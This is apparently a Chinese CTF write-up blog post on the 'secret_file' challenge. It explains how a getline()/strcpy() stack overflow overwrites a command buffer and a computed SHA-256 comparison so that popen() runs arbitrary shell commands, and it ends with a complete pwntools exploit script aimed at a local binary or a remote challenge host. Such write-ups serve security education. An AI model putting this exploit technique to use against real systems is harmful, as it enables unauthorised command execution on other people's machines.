secret_file分析

secret_file的题目分析

2020-02-13 09:11:12 by hawkJW


题目附件、ida文件及wp链接


   这道题就是一个简单的溢出问题,但是需要注意一些细节,这里进行说明一下


  1.  程序流程总览

首先,还是老规矩,看一下保护情况

  可以看到,这里的保护措施全开,那么可能不能用普通的操作来解决问题。下面具体看一下程序的流程,如图所示

实际上,可以看出来,首先将dest位置进行初始化,然后通过函数 getline() 函数输入数据到lineptr,然后使用 strrchr() 进行处理,接着使用 strcpy() 讲之前处理过的位于lineptr的数据复制到dest位置,通过之后使用 sha256()dest的前256bit数据进行sha256处理,处理后的数据存储到 &v16 ,也就是 rbp-19Ch 处,然后经过一个变换后,进行判断,如果通过的话,使用 popen() 函数,然后结束即可


2.  漏洞

因为这个函数中有一些对于我来说比较陌生的函数,因此如果想要发现漏洞并且利用的话,则需要对这些函数一一分析。其中包含getline()strrchr()以及popen()

 对于getline()来说,其函数声明如下

ssize_t getline(char **lineptr, size_t *n, FILE *stream);

/*
    lineptr:指向存放该行字符的指针,如果是NULL,则有系统帮助malloc,请在使用完成后free释放。
    n:如果是由系统malloc的指针,请填0
    stream:文件描述符
*/

   值得注意的是,经过linux上的实验,只有断开输入或者遇到'\n'时,才会结束输入,否则会一直进行等待

对于strrchr()来说,其函数声明如下

char *strrchr(const char *str, int c);
/*
  该函数返回 str 中最后一次出现字符 c 的位置。如果未找到该值,则函数返回一个空指针
*/

   这个并没有什么特别注意的,但是需要知道如果未找到的话,会返回空指针,也就是0

对于popen()来说,其函数声明如下

FILE *popen(const char *cmd,const char *type);
/*
  command: 是一个指向以 NULL 结束的 shell 命令字符串的指针。这行命令将被传到 bin/sh 并使用 -c 标志,shell 将执行这个命令
  mode: 只能是读或者写中的一种,得到的返回值(标准 I/O 流)也具有和 type 相应的只读或只写类型。如果 type 是 “r” 则文件指针连接到 command 的标准输出;如果 type 是 “w” 则文件指针连接到 command 的标准输入
*/

        实际上,也就是说,popen可以执行cmd中对应的指令,也可以根据type来进行读或者写

  介绍完这些陌生的函数,我们就可以开始具体分析漏洞了。实际上,当介绍到getline()时,我们就能察觉到,这里没有限制输入的个数。而之后的源代码中有使用了strcpy(),将之前输入的数据复制到栈上。我们观察一下栈上的分布。

  也就是说,我们理论上可以覆盖掉从 dest ,也就是 rsp-2f8h 之后的所有栈上空间,那么如果我们精心构造一个payload输入,使其可以正常绕过比较,并且执行popen()代码部分,也就相当于我们成功执行了代码,从而实现漏洞的利用。


3.  漏洞利用

  现在我们分析一下漏洞的利用。首先,为了通过如下的检查

 由于有strrchr(),我们需要让输入的payload中至少在 \x00 前有一个回车符,而由于getline()以回车符作为结束标志,也就是说,为了通过检查,我们不能在payload中包含\x00,即填充的时候换用其他的符号进行填充。

下面我们分析一下源代码中的变化部分的代码

在根据栈上的结构布局

实际上,也就是从v16开始,执行循环变化0x20次。每一次都是将(&v16)[0x20 + 2 * index]的值变换为(&v16)[index]处的字节转换为16进制的字符串

而实际上&v16处的0x20个字节的值,是从&dest开始的0x100个字节的sha256的值,也就是输入的payload的前0x100个字节的sha256的值。

之后程序将和v15处开始的内存中的值进行比较,如果相等的话,将执行&v14中的字符串所代表的命令,如图所示

根据上面的分析,我们来构造payload

首先,payload中将含有随便的0x100个字节的值(不为\x00),实际上经过复制后,在栈上的位置到了&14处。也就是这部分的payload为 

payload='a'*0x100 

而我们知道&14实际上包含的是要执行的命令,则我们接着在payload中输入要执行的命令,但是由于栈上我们会和v15比较,则v15处需要存放前面sha256输入的0x100变换后的值,因此我们输入的命令的字符串的最长值也就是 

v15-&v14=(rbp-1ddh)-(rbp-1f8h)=1f8h-1ddh 

并且为了不执行没有用的命令,我们构造这一部分的内容为 

payload=payload+(cmd+';#').ljust(0x1f8-0x1dd,' ') 

此时在栈上来到了v15,也就是最终比较的部分,这个并没有什么,我们按照对应的流程计算出最后的&v17的值就行,则这部分的payload比较上,如下

sha256 = hashlib.sha256(’a'*0x100).hexdigest()

for i in range(0, len(sha256), 2):    
    memory = memory + chr(int(sha256[i:i + 2], 16))    

memory = list(memory + '\x00' * 0x41)      #memory = &v16

for i in range(0x20):
    tmp = '%02x'%ord(memory[i]) + '\x00'
    memory[0x20 + 2 * i] = tmp[0]
    memory[0x20 + 2 * i + 1] = tmp[1]
    memory[0x20 + 2 * i + 2] = tmp[2]

v15 = ''.join([i for i in memory[0x20:-1]])  
payload = payload + v15 + '\n

这样子,也就成功构造出了一个payload

具体的就不多说了,贴上完整的wp

#coding:utf-8

from pwn import *
import hashlib

#context.log_level = 'debug'

debug = 1


def exp(string, debug):
	if debug == 1:
		r = process('./secret_file')
		#gdb.attach(r)
		#pause
	else:
		r = remote('111.198.29.45', 37598)


	payload = 'a' * 0x100

	memory = ''

	sha256 = hashlib.sha256(payload).hexdigest()

	for i in range(0, len(sha256), 2):
		memory = memory + chr(int(sha256[i:i + 2], 16))

	memory = list(memory + '\x00' * 0x41)

	for i in range(0x20):
		tmp = '%02x'%ord(memory[i]) + '\x00'
		memory[0x20 + 2 * i] = tmp[0]
		memory[0x20 + 2 * i + 1] = tmp[1]
		memory[0x20 + 2 * i + 2] = tmp[2]

	v15 = ''.join([i for i in memory[0x20:-1]])
	
	'''
		string中不要用\x00填充
		payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, '\x00') + v15 + '\n'
		否则strcpy的时候会进行截断,v15无法正常输入
	'''

	'''
		v15后面不要跟\x00
		payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, ' ') + v15 + '\x00\n'
		否则strrchr的时候,str会以\x00作为结尾,则\n被截断
	'''

	payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, ' ') + v15 + '\n'

	r.send(payload)
	
	log.info('%s\n'%r.recv())
	r.close()
	

while True:
	print '[*] $ ',
	command = raw_input()[:-1]
	if command == 'exit':
		break
	exp(command, debug)	

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值